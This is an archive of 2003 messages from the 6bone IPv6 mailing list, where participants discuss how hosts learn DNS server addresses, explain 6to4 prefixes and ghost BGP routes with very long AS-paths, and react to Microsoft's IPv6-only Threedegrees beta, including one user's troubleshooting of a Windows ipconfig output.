In-Reply-To: <745A3632968F53438280A8320C535AD20CCA2F@MSGEXS21.tf1.groupetf1.fr> from "BEGIN, Thomas" at "Mar 5, 3 06:09:57 pm"
To: tbegin@tf1.fr (BEGIN, Thomas)
Date: Wed, 5 Mar 2003 09:37:17 -0800 (PST)
Cc: bmanning@ISI.EDU, 6bone@ISI.EDU
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% Hello,
% No I mean I quite sure it is possible to give DNS to every hosts by entering IP address for each of them (like in IPv4). True ?

	not sure I understand the question then.  clearly one can create 
	DNS zone files that map v6 addresses to names and names to v6 addresses

% 
% But my real question is: are the router able to advertise to hosts what are DNS addresse's ? It's what I've understood by reading Cisco documentation...

	maybe.  this maybe something like the DHCP option to write the 
	/etc/resolv.conf file, if it exists.


% 
% 
% -----Message d'origine-----
% De : Bill Manning [mailto:bmanning@ISI.EDU]
% Envoyé : mercredi 5 mars 2003 18:04
% À : BEGIN, Thomas
% Cc : 6bone@ISI.EDU
% Objet : Re: [6bone] DNS servers
% 
% 
% % HI,
% % I'm wondering what's the way for specifying to a host DNS server's addresses.
% % I mean are these addresses necessary (from DNS servers) stocked in each individual host (as it used to be for IPv4)? or is there a way to give this information to routers ? 
% % I came to this question after reading the cisco's documentation about IPv6 commands (http://www.cisco.com/univercd/cc/td/doc/product/software/ios122/122newft/122t/122t2/ipv6/ftipv6c.htm) which specifies about giving to routers DNS server's addresses.
% % 
% % Thanks
% % 
% % Thomas
% % _______________________________________________
% 
% 	you mean like this:
% 
% search ip6.int ep.net
% nameserver 198.32.2.10
% nameserver 2001:478:6:0:230:48ff:fe22:6a29
% nameserver 198.32.6.11
% nameserver 3ffe:805::2d0:b7ff:fee8:c4d9
% 
% 
% --bill
% Opinions expressed may not even be mine by the time you read them, and
% certainly don't reflect those of any other entity (legal or otherwise).
% _______________________________________________
% 6bone mailing list
% 6bone@mailman.isi.edu
% http://mailman.isi.edu/mailman/listinfo/6bone
% 


-- 
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).


From tvo@EnterZone.Net Wed Mar  5 10:01:28 2003
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Subject: Re: [6bone] DNS servers
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I think he's talking about assigning the host it's DNS resolvers in a
dynamic (IE; DHCP) manner in much the same way that a radius server does
for a IPv4 dialup client.


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |


On Wed, 5 Mar 2003, Bill Manning wrote:

> % Hello,
> % No I mean I quite sure it is possible to give DNS to every hosts by entering IP address for each of them (like in IPv4). True ?
> 
> 	not sure I understand the question then.  clearly one can create 
> 	DNS zone files that map v6 addresses to names and names to v6 addresses
> 
> % 
> % But my real question is: are the router able to advertise to hosts what are DNS addresse's ? It's what I've understood by reading Cisco documentation...
> 
> 	maybe.  this maybe something like the DHCP option to write the 
> 	/etc/resolv.conf file, if it exists.
> 
> 
> % 
> % 
> % -----Message d'origine-----
> % De : Bill Manning [mailto:bmanning@ISI.EDU]
> % Envoyé : mercredi 5 mars 2003 18:04
> % À : BEGIN, Thomas
> % Cc : 6bone@ISI.EDU
> % Objet : Re: [6bone] DNS servers
> % 
> % 
> % % HI,
> % % I'm wondering what's the way for specifying to a host DNS server's addresses.
> % % I mean are these addresses necessary (from DNS servers) stocked in each individual host (as it used to be for IPv4)? or is there a way to give this information to routers ? 
> % % I came to this question after reading the cisco's documentation about IPv6 commands (http://www.cisco.com/univercd/cc/td/doc/product/software/ios122/122newft/122t/122t2/ipv6/ftipv6c.htm) which specifies about giving to routers DNS server's addresses.
> % % 
> % % Thanks
> % % 
> % % Thomas
> % % _______________________________________________
> % 
> % 	you mean like this:
> % 
> % search ip6.int ep.net
> % nameserver 198.32.2.10
> % nameserver 2001:478:6:0:230:48ff:fe22:6a29
> % nameserver 198.32.6.11
> % nameserver 3ffe:805::2d0:b7ff:fee8:c4d9
> % 
> % 
> % --bill
> % Opinions expressed may not even be mine by the time you read them, and
> % certainly don't reflect those of any other entity (legal or otherwise).
> % _______________________________________________
> % 6bone mailing list
> % 6bone@mailman.isi.edu
> % http://mailman.isi.edu/mailman/listinfo/6bone
> % 
> 
> 
> -- 
> --bill
> 
> Opinions expressed may not even be mine by the time you read them, and
> certainly don't reflect those of any other entity (legal or otherwise).
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From sivav@qualcomm.com Wed Mar  5 12:28:26 2003
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To: "BEGIN, Thomas" <tbegin@tf1.fr>
From: Siva Veerepalli <sivav@qualcomm.com>
Subject: Re: [6bone] DNS servers
Cc: <6bone@mailman.isi.edu>
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DHCPv6 could be used to assign the name server IP address to the host. 
Alternatively, there is currently a draft 
(http://www.ietf.org/internet-drafts/draft-ietf-ipv6-dns-discovery-07.txt) 
that specifies the use of well-known site-local addresses to be used as the 
name server addresses by the resolvers.

Siva

At 04:13 PM 3/5/2003 +0100, BEGIN, Thomas wrote:
>HI,
>I'm wondering what's the way for specifying to a host DNS server's addresses.
>I mean are these addresses necessary (from DNS servers) stocked in each 
>individual host (as it used to be for IPv4)? or is there a way to give 
>this information to routers ?
>I came to this question after reading the cisco's documentation about IPv6 
>commands 
>(http://www.cisco.com/univercd/cc/td/doc/product/software/ios122/122newft/122t/122t2/ipv6/ftipv6c.htm) 
>which specifies about giving to routers DNS server's addresses.
>
>Thanks
>
>Thomas
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone


From hank@att.net.il Thu Mar  6 00:13:22 2003
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Please excuse the newbie questions.  Looking thru the BGPv6 table I came 
across some things that I didn't understand:

1) This /16 doesn't appear in whois.6bone.net:

BGP routing table entry for 2002::/16, version 1154
Paths: (1 available, best #1)
   Not advertised to any peer
   559 1930
     3FFE:2000:0:41D::22F from 3FFE:2000:0:41D::22F (130.59.32.38)
       Origin incomplete, localpref 100, valid, external, best

Is this legal?

2) The AS paths are usually short (3-5 hops) but 2 caught my eye:

*> 3FFE:F00::/24    3FFE:2000:0:41D::22F
                                                            0 559 9044 5424 
10318 5623 6939 6939 2042 3836 4618 9264 7660 22388 11537 786 1853 1853 
1853 1853 1853 6680 1103 2602 2200 9112 6830 12702 3549 4697 10566 13944 22 i

*> 3FFE:1F00::/24   3FFE:2000:0:41D::22F
                                                            0 559 9044 5424 
10318 12199 145 4554 278 6435 17715 6939 4716 2500 4697 3320 293 6175 7580 
10566 15180 1251 1916 11537 22 5609 6830 1755 i

Is this normal?

Thanks,
Hank


From bortzmeyer@nic.fr Thu Mar  6 05:42:32 2003
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On Thu, Mar 06, 2003 at 10:12:28AM +0200,
 Hank Nussbacher <hank@att.net.il> wrote 
 a message of 35 lines which said:

> 1) This /16 doesn't appear in whois.6bone.net:
> 
> BGP routing table entry for 2002::/16, version 1154
...
> Is this legal?

Yes, it is 6to4. RFC 3068.
 
> *> 3FFE:F00::/24    3FFE:2000:0:41D::22F
>                                                            0 559 9044 5424 
> 10318 5623 6939 6939 2042 3836 4618 9264 7660 22388 11537 786 1853 1853 
> 1853 1853 1853 6680 1103 2602 2200 9112 6830 12702 3549 4697 10566 13944 22 
> i

Welcome to the 6bone hell
<URL:http://www.ietf.org/internet-drafts/draft-savola-v6ops-6bone-mess-01.txt>. BTW,
on my site, I see only "13193 10566 22".


From tbegin@tf1.fr Thu Mar  6 01:57:27 2003
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Subject: Re: [6bone] DNS servers : Precisions
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From: "BEGIN, Thomas" <tbegin@tf1.fr>
To: <bmanning@ISI.EDU>, "John Fraizer" <tvo@EnterZone.Net>,
   "Siva Veerepalli" <sivav@qualcomm.com>
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OK I hope this time I could explain my pb clearlier...
It's all about stateless configuration in IPv6.

To be quick, how do hosts learn DNS server addresses ?
In other way, is the setup for DNS servers necessary manual (like in IPv4 without DHCP) ? Or is it possible for hosts to retrieve DNS addresses automatically (thanks to routers (cf Cisco)?)  ??? Or may be DNS servers addresses are automatically well known from hosts as the draft tends to do (http://www.ietf.org/internet-drafts/draft-ietf-ipv6-dns-discovery-07.txt)... ?


Thanks for reading this mail, again

Thomas

From gert@Space.Net Thu Mar  6 06:19:15 2003
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Hi,

On Thu, Mar 06, 2003 at 10:12:28AM +0200, Hank Nussbacher wrote:
> Please excuse the newbie questions.  Looking thru the BGPv6 table I came 
> across some things that I didn't understand:
> 
> 1) This /16 doesn't appear in whois.6bone.net:
> 
> BGP routing table entry for 2002::/16, version 1154
> Paths: (1 available, best #1)
>    Not advertised to any peer
>    559 1930
>      3FFE:2000:0:41D::22F from 3FFE:2000:0:41D::22F (130.59.32.38)
>        Origin incomplete, localpref 100, valid, external, best
> 
> Is this legal?

Yes, this is legal.  This is the 6to4 prefix.  It's "anycasted", that is,
every ISP that runs a 6to4 gateway can announce the 2002::/16 prefix.

> 2) The AS paths are usually short (3-5 hops) but 2 caught my eye:
> 
> *> 3FFE:F00::/24    3FFE:2000:0:41D::22F
>                                                             0 559 9044 5424 
> 10318 5623 6939 6939 2042 3836 4618 9264 7660 22388 11537 786 1853 1853 
> 1853 1853 1853 6680 1103 2602 2200 9112 6830 12702 3549 4697 10566 13944 22 i
> 
> *> 3FFE:1F00::/24   3FFE:2000:0:41D::22F
>                                                             0 559 9044 5424 
> 10318 12199 145 4554 278 6435 17715 6939 4716 2500 4697 3320 293 6175 7580 
> 10566 15180 1251 1916 11537 22 5609 6830 1755 i
> 
> Is this normal?

No.  Well, yes and no.

It's "normal" in the sense that this happens every now and then.  We have
known IPv6 BGP withdrawal problems "somewhere out there".  I have been
observing these route ghosts since about two years or so.  Things have
improved, but every now and then we still see some.

Of course it's not normal in the sense of "it should be that way" :-)

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  57021 (57147)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From bmanning@ISI.EDU Thu Mar  6 11:10:11 2003
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] Newbie BGP questions
In-Reply-To: <5.1.0.14.2.20030306100108.050b9168@max.att.net.il> from Hank Nussbacher at "Mar 6, 3 10:12:28 am"
To: hank@att.net.il (Hank Nussbacher)
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Cc: 6bone@ISI.EDU
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% Please excuse the newbie questions.  Looking thru the BGPv6 table I came 
% across some things that I didn't understand:
% 
% 1) This /16 doesn't appear in whois.6bone.net:
% 
% BGP routing table entry for 2002::/16, version 1154
% Paths: (1 available, best #1)
%    Not advertised to any peer
%    559 1930
%      3FFE:2000:0:41D::22F from 3FFE:2000:0:41D::22F (130.59.32.38)
%        Origin incomplete, localpref 100, valid, external, best
% 
% Is this legal?

	yes. bob pulled the whois record for this delegation last month.

% 2) The AS paths are usually short (3-5 hops) but 2 caught my eye:
% 
% *> 3FFE:F00::/24    3FFE:2000:0:41D::22F
% *> 3FFE:1F00::/24   3FFE:2000:0:41D::22F
% 
% Is this normal?

	Sometimes.  :)

% Hank


--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From pfs@cisco.com Thu Mar  6 18:11:37 2003
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To: Hank Nussbacher <hank@att.net.il>
From: Philip Smith <pfs@cisco.com>
Subject: Re: [6bone] Newbie BGP questions
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At 10:12 06/03/2003 +0200, Hank Nussbacher wrote:
>Please excuse the newbie questions.  Looking thru the BGPv6 table I came 
>across some things that I didn't understand:
><snip>
>2) The AS paths are usually short (3-5 hops) but 2 caught my eye:
>
>*> 3FFE:F00::/24    3FFE:2000:0:41D::22F
>                                                            0 559 9044 
> 5424 10318 5623 6939 6939 2042 3836 4618 9264 7660 22388 11537 786 1853 
> 1853 1853 1853 1853 6680 1103 2602 2200 9112 6830 12702 3549 4697 10566 
> 13944 22 i
>
>*> 3FFE:1F00::/24   3FFE:2000:0:41D::22F
>                                                            0 559 9044 
> 5424 10318 12199 145 4554 278 6435 17715 6939 4716 2500 4697 3320 293 
> 6175 7580 10566 15180 1251 1916 11537 22 5609 6830 1755 i
>
>Is this normal?

If they bother you, you can ignore them on a Cisco router by using the "bgp 
maxas-limit N" command, where "N" is the max AS-path length you want to 
see. Doesn't fix the problem, but at least helps stop it from being 
propagated any further.

philip
--


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Hi, you may have seen one of the articles published last week about a
new beta release of an application called Threedegrees that Microsoft
released for the young "NetGen" market.  In case you didn't hear about
this or haven't had time to read about the application I wanted to be
sure you knew that it is an IPv6-only application.  It is available for
beta on www.threedegrees.com <http://www.threedegrees.com/>  and I
encourage you all to check it out.

=20

You can also read more about the underlying peer to peer and IPv6
technologies we are shipping with Threedegrees at:
http://www.microsoft.com/presspass/press/2003/feb03/02-26sdkannouncespr.
asp.

=20

If you have any questions or comments please let me know.

Thanks

Chris Mitchell

Microsoft - Windows Networking - IPv6

=20


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<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Hi, you may have seen one of the articles published =
last
week about a new beta release of an application called Threedegrees that
Microsoft released for the young &#8220;NetGen&#8221; market. &nbsp;In =
case you
didn&#8217;t hear about this or haven&#8217;t had time to read about the
application I wanted to be sure you knew that it is an IPv6-only =
application.
&nbsp;It is available for beta on <a =
href=3D"http://www.threedegrees.com/"
title=3D"http://www.threedegrees.com/">www.threedegrees.com</a> and I =
encourage
you all to check it out.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>You can also read more about the underlying peer to =
peer and
IPv6 technologies we are shipping with Threedegrees at: <a
href=3D"http://www.microsoft.com/presspass/press/2003/feb03/02-26sdkannou=
ncespr.asp"
title=3D"http://www.microsoft.com/presspass/press/2003/feb03/02-26sdkanno=
uncespr.asp">http://www.microsoft.com/presspass/press/2003/feb03/02-26sdk=
announcespr.asp</a>.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>If you have any questions or comments please let me =
know.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Thanks<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Chris Mitchell<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Microsoft &#8211; Windows Networking &#8211; =
IPv6<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

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</body>

</html>

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From michel@arneill-py.sacramento.ca.us Thu Mar  6 23:20:21 2003
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> Hank Nussbacher wrote:
> 2) The AS paths are usually short (3-5 hops) but 2 caught my eye:
> *> 3FFE:F00::/24    3FFE:2000:0:41D::22F   0 559 9044 5424 10318
> 5623 6939 6939 2042 3836 4618 9264 7660 22388 11537 786 1853 1853
> 1853 1853 1853 6680 1103 2602 2200 9112 6830 12702 3549 4697 10566
> 13944 22 i
> *> 3FFE:1F00::/24   3FFE:2000:0:41D::22F   0 559 9044 5424 10318
> 12199 145 4554 278 6435 17715 6939 4716 2500 4697 3320 293 6175
> 7580 10566 15180 1251 1916 11537 22 5609 6830 1755 i
> Is this normal?

I believe the acronym for this is "SNAFU" which is somehow close to the
standard state of the 6bone. Welcome aboard.

Looks like the good old mrtd withdraw bug again. Consider filtering,
these mile-long AS-PATHs used to be common but I don't see a single one
in my own BGP table right now.

Michel.


From gert@Space.Net Fri Mar  7 06:49:41 2003
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From: Gert Doering <gert@space.net>
To: Chris Mitchell <cmitch@windows.microsoft.com>
Cc: 6bone@ISI.EDU, nav6tf@ipv6forum.com
Subject: Re: [6bone] Microsoft has released IPv6-only application for Beta
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Hi,

On Thu, Mar 06, 2003 at 08:27:25PM -0800, Chris Mitchell wrote:
> this or haven't had time to read about the application I wanted to be
> sure you knew that it is an IPv6-only application.  It is available for
> beta on www.threedegrees.com <http://www.threedegrees.com/>  and I
> encourage you all to check it out.

Cool!

(On the other hand: www.threedegrees.com isn't reachable over IPv6, so
it's kind of "incomplete"...)

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  57021 (57147)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From jeroen@unfix.org Fri Mar  7 07:32:58 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Michel Py'" <michel@arneill-py.sacramento.ca.us>, <hank@att.net.il>
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Subject: RE: [6bone] Newbie BGP questions
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Michel Py wrote:

> > Hank Nussbacher wrote:
> > 2) The AS paths are usually short (3-5 hops) but 2 caught my eye:
> > *> 3FFE:F00::/24    3FFE:2000:0:41D::22F   0 559 9044 5424 10318
> > 5623 6939 6939 2042 3836 4618 9264 7660 22388 11537 786 1853 1853
> > 1853 1853 1853 6680 1103 2602 2200 9112 6830 12702 3549 4697 10566
> > 13944 22 i
> > *> 3FFE:1F00::/24   3FFE:2000:0:41D::22F   0 559 9044 5424 10318
> > 12199 145 4554 278 6435 17715 6939 4716 2500 4697 3320 293 6175
> > 7580 10566 15180 1251 1916 11537 22 5609 6830 1755 i
> > Is this normal?
> 
> I believe the acronym for this is "SNAFU" which is somehow 
> close to the standard state of the 6bone. Welcome aboard.

Fortunatly we are moving away from the state the 6bone used to have ;)

Unfortunatly though the contact(s) for certain AS's in the above path
apparently aren't reachable per email :(
Though I suspect that the routers doing this are not that stable at
all, either they crash or they get reset once in a while as sometimes
mysterically the ghosts vanish.

More about these ghosts can be found on http://www.sixxs.net/tools/grh/

> Looks like the good old mrtd withdraw bug again. Consider filtering,
> these mile-long AS-PATHs used to be common but I don't see a 
> single one in my own BGP table right now.

Indeed, the smart people filter out those bogusly long ASpaths.

Greets,
 Jeroen


From jeanthery@olympus-zone.net Fri Mar  7 14:04:13 2003
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From: =?iso-8859-1?Q?Jean_Th=E9ry?= <jeanthery@olympus-zone.net>
To: "Gert Doering" <gert@space.net>,
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References: <7AA9FE9DAF2C0947B47A0D7F87DBD92E1F0FD8@win-msg-02.wingroup.windeploy.ntdev.microsoft.com> <20030307154937.T15927@Space.Net>
Subject: Re: [6bone] Microsoft has released IPv6-only application for Beta
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Gert Doering wrote:
> Hi,
>
> On Thu, Mar 06, 2003 at 08:27:25PM -0800, Chris Mitchell wrote:
>> this or haven't had time to read about the application I wanted to be
>> sure you knew that it is an IPv6-only application.  It is available
>> for beta on www.threedegrees.com <http://www.threedegrees.com/>  and
>> I encourage you all to check it out.
>
> Cool!
>
> (On the other hand: www.threedegrees.com isn't reachable over IPv6, so
> it's kind of "incomplete"...)
>
> Gert Doering
>         -- NetMaster

yea there is no AAAA or A6 record in the domain threedegrees.com

Cordialy,

Jean Théry
Administration Réseaux, Systèmes & Hosting
Olympus-Zone


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From: "Jeroen Massar" <jeroen@unfix.org>
To: "=?iso-8859-1?Q?'Jean_Th=E9ry'?=" <jeanthery@olympus-zone.net>
Cc: <6bone@ISI.EDU>, <nav6tf@ipv6forum.com>
Subject: RE: [6bone] Microsoft has released IPv6-only application for Beta
Date: Sat, 8 Mar 2003 00:02:50 +0100
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Jean Théry wrote:

> Gert Doering wrote:
> > Hi,
> >
> > On Thu, Mar 06, 2003 at 08:27:25PM -0800, Chris Mitchell wrote:
> >> this or haven't had time to read about the application I 
> wanted to be
> >> sure you knew that it is an IPv6-only application.  It is available
> >> for beta on www.threedegrees.com 
> <http://www.threedegrees.com/>  and
> >> I encourage you all to 
> check it out.
> >
> > Cool!
> >
> > (On the other hand: www.threedegrees.com isn't reachable 
> over IPv6, so
> > it's kind of "incomplete"...)
> >
> > Gert Doering
> >         -- NetMaster
> 
> yea there is no AAAA or A6 record in the domain threedegrees.com

Use http://www.threedegrees.com.sixxs.org/ , happy now ? ;)

Btw, one should *NOT* use A6.
And I'd rather see Google, Altavista, Dmoz, CNN and the likes do IPv6
first.

Greets,
 Jeroen


From jeanthery@olympus-zone.net Fri Mar  7 19:25:25 2003
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Subject: Re: [6bone] Microsoft has released IPv6-only application for Beta
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Jeroen Massar wrote:
> Jean Théry wrote:
>
>> Gert Doering wrote:
>>> Hi,
>>>
>>> On Thu, Mar 06, 2003 at 08:27:25PM -0800, Chris Mitchell wrote:
>>>> this or haven't had time to read about the application I
>> wanted to be
>>>> sure you knew that it is an IPv6-only application.  It is available
>>>> for beta on www.threedegrees.com
>> <http://www.threedegrees.com/>  and
>>>> I encourage you all to
>> check it out.
>>>
>>> Cool!
>>>
>>> (On the other hand: www.threedegrees.com isn't reachable
>> over IPv6, so
>>> it's kind of "incomplete"...)
>>>
>>> Gert Doering
>>>         -- NetMaster
>>
>> yea there is no AAAA or A6 record in the domain threedegrees.com
>
> Use http://www.threedegrees.com.sixxs.org/ , happy now ? ;)
>
> Btw, one should *NOT* use A6.
> And I'd rather see Google, Altavista, Dmoz, CNN and the likes do IPv6
> first.
>
> Greets,
>  Jeroen

hehe :)

Cordialy,

Jean Théry
Administration Réseaux, Systèmes & Hosting
Olympus-Zone


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Subject: Re: [6bone] Microsoft has released IPv6-only application for Beta
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----- Original Message -----
From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Jean Théry'" <jeanthery@olympus-zone.net>
Cc: <6bone@ISI.EDU>; <nav6tf@ipv6forum.com>
Sent: Saturday, March 08, 2003 7:02 AM
Subject: RE: [6bone] Microsoft has released IPv6-only application for Beta
yea there is no AAAA or A6 record in the domain threedegrees.com
|
| Use http://www.threedegrees.com.sixxs.org/ , happy now ? ;)

Why is it that I can not get to IPv6 Only sites like this.??
The Latest IE6 should show IPv6 sites ok shouldn't it?

Windows IP Configuration

        Host Name . . . . . . . . . . . . : madaboutipv6
        Primary Dns Suffix  . . . . . . . :
        Node Type . . . . . . . . . . . . : Hybrid
        IP Routing Enabled. . . . . . . . : Yes
        WINS Proxy Enabled. . . . . . . . : No
        DNS Suffix Search List. . . . . . : vic.bigpond.net.au

Ethernet adapter Local Area Connection 5:

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : Efficient Networks Enternet
P.P.P.o.
E Adapter
        Physical Address. . . . . . . . . : 44-45-53-54-77-77
        Dhcp Enabled. . . . . . . . . . . : Yes
        Autoconfiguration Enabled . . . . : No
        IP Address. . . . . . . . . . . . : 144.137.252.133
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        IP Address. . . . . . . . . . . . : fe80::4645:53ff:fe54:7777%4
        Default Gateway . . . . . . . . . : 144.137.252.133
        DHCP Server . . . . . . . . . . . : 1.1.1.1
        DNS Servers . . . . . . . . . . . : 61.9.128.16
                                            61.9.128.13
                                            fec0:0:0:ffff::1%1
                                            fec0:0:0:ffff::2%1
                                            fec0:0:0:ffff::3%1
        Lease Obtained. . . . . . . . . . : Tuesday, 4 March 2003 6:16:04 PM
        Lease Expires . . . . . . . . . . : Tuesday, 19 January 2038
11:14:07 AM


Ethernet adapter Network Bridge (Network Bridge):

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : MAC Bridge Miniport
        Physical Address. . . . . . . . . : 02-40-D0-2A-AF-71
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : 192.168.0.1
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        IP Address. . . . . . . . . . . . :
2002:c0a8:1:5:90f1:5098:252d:3eb7
        IP Address. . . . . . . . . . . . :
2002:c0a8:1:5:cc71:215c:3c83:6492
        IP Address. . . . . . . . . . . . :
2002:c0a8:1:5:480d:c580:2cc9:863e
        IP Address. . . . . . . . . . . . :
2002:c0a8:1:5:bd90:af8b:f235:a243
        IP Address. . . . . . . . . . . . :
2002:c0a8:1:5:5d0c:da6b:bacc:69f7
        IP Address. . . . . . . . . . . . : 2002:c0a8:1:5:40:d0ff:fe2a:af71
        IP Address. . . . . . . . . . . . : fe80::40:d0ff:fe2a:af71%5
        Default Gateway . . . . . . . . . :
        DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
                                            fec0:0:0:ffff::2%1
                                            fec0:0:0:ffff::3%1

Tunnel adapter 6to4 Tunneling Pseudo-Interface:

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : 6to4 Tunneling Pseudo-Interface
        Physical Address. . . . . . . . . : 90-89-FC-85
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : 2002:9089:fc85::9089:fc85
        Default Gateway . . . . . . . . . :
        DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
                                            fec0:0:0:ffff::2%1
                                            fec0:0:0:ffff::3%1
        NetBIOS over Tcpip. . . . . . . . : Disabled

Tunnel adapter Automatic Tunneling Pseudo-Interface:

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : Automatic Tunneling
Pseudo-Interface

        Physical Address. . . . . . . . . : 90-89-FC-85
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : fe80::5efe:144.137.252.133%2
        Default Gateway . . . . . . . . . :
        DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
                                            fec0:0:0:ffff::2%1
                                            fec0:0:0:ffff::3%1
        NetBIOS over Tcpip. . . . . . . . : Disabled

Tunnel adapter Automatic Tunneling Pseudo-Interface:

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : Automatic Tunneling
Pseudo-Interface

        Physical Address. . . . . . . . . : C0-A8-00-01
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : fe80::5efe:192.168.0.1%2
        Default Gateway . . . . . . . . . :
        DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
                                            fec0:0:0:ffff::2%1
                                            fec0:0:0:ffff::3%1
        NetBIOS over Tcpip. . . . . . . . : Disabled

|
| Btw, one should *NOT* use A6.
| And I'd rather see Google, Altavista, Dmoz, CNN and the likes do IPv6
| first.
|
| Greets,
|  Jeroen
|
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone
|


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From jeroen@unfix.org Sat Mar  8 03:15:03 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Gav'" <old_mc_donald@hotmail.com>
Cc: <6bone@ISI.EDU>
Subject: RE: [6bone] Microsoft has released IPv6-only application for Beta
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Gav [mailto:old_mc_donald@hotmail.com] wrote:

> Jeroen Massar wrote:

> |
> | Use http://www.threedegrees.com.sixxs.org/ , happy now ? ;)
> 
> Why is it that I can not get to IPv6 Only sites like this.??
> The Latest IE6 should show IPv6 sites ok shouldn't it?

Looking at your data you have Windows XP
 
> Ethernet adapter Local Area Connection 5:
> 
>         Connection-specific DNS Suffix  . :
>         Description . . . . . . . . . . . : Efficient 
> Networks Enternet
> P.P.P.o.
> E Adapter
>         Physical Address. . . . . . . . . : 44-45-53-54-77-77
>         Dhcp Enabled. . . . . . . . . . . : Yes
>         Autoconfiguration Enabled . . . . : No
>         IP Address. . . . . . . . . . . . : 144.137.252.133
>         Subnet Mask . . . . . . . . . . . : 255.255.255.0
>         IP Address. . . . . . . . . . . . :
fe80::4645:53ff:fe54:7777%4

Only IPv4 on your ADSL (at least PPPoE should be ADSL)

> Ethernet adapter Network Bridge (Network Bridge):
> 
>         Connection-specific DNS Suffix  . :
>         Description . . . . . . . . . . . : MAC Bridge Miniport
>         Physical Address. . . . . . . . . : 02-40-D0-2A-AF-71
>         Dhcp Enabled. . . . . . . . . . . : No
>         IP Address. . . . . . . . . . . . : 192.168.0.1
>         Subnet Mask . . . . . . . . . . . : 255.255.255.0
>         IP Address. . . . . . . . . . . . :
2002:c0a8:1:5:90f1:5098:252d:3eb7
>         IP Address. . . . . . . . . . . . :
2002:c0a8:1:5:cc71:215c:3c83:6492
>         IP Address. . . . . . . . . . . . :
2002:c0a8:1:5:480d:c580:2cc9:863e
>         IP Address. . . . . . . . . . . . :
2002:c0a8:1:5:bd90:af8b:f235:a243
>         IP Address. . . . . . . . . . . . :
2002:c0a8:1:5:5d0c:da6b:bacc:69f7
>         IP Address. . . . . . . . . . . . :
2002:c0a8:1:5:40:d0ff:fe2a:af71

A private network with 6to4 addresses in RFC1918 space, these won't ever
work.

> Tunnel adapter 6to4 Tunneling Pseudo-Interface:
> 
>         Connection-specific DNS Suffix  . :
>         Description . . . . . . . . . . . : 6to4 Tunneling 
> Pseudo-Interface
>         Physical Address. . . . . . . . . : 90-89-FC-85
>         Dhcp Enabled. . . . . . . . . . . : No
>         IP Address. . . . . . . . . . . . : 2002:9089:fc85::9089:fc85

This _could_ work, it does use your public IPv4 of your PPPoE adapter.

Based on the fact which outgoing interface your host picks it should
work.
Try some tracerouting and stuff, pings and the like and find out ;)

Also when one installs the ThreeDegrees software, and thus the P2P SDK
you get a newer IPv6 stack which supports Teredo.

IMHO (<-- watch those four letters ;) a configured tunnels is better.
Especially while debugging and based on latency times. So you would
prolly
be better off getting a tunnel. Then again checking your IPv4 address
you are located in Australia, thus, mail progsoc@<lemme think>,
check their whois:
http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/PROGSOC.html

BTW, checking:
 http://www.sixxs.net/tools/grh/lg/?prefix=2002::/16&matchtype=more
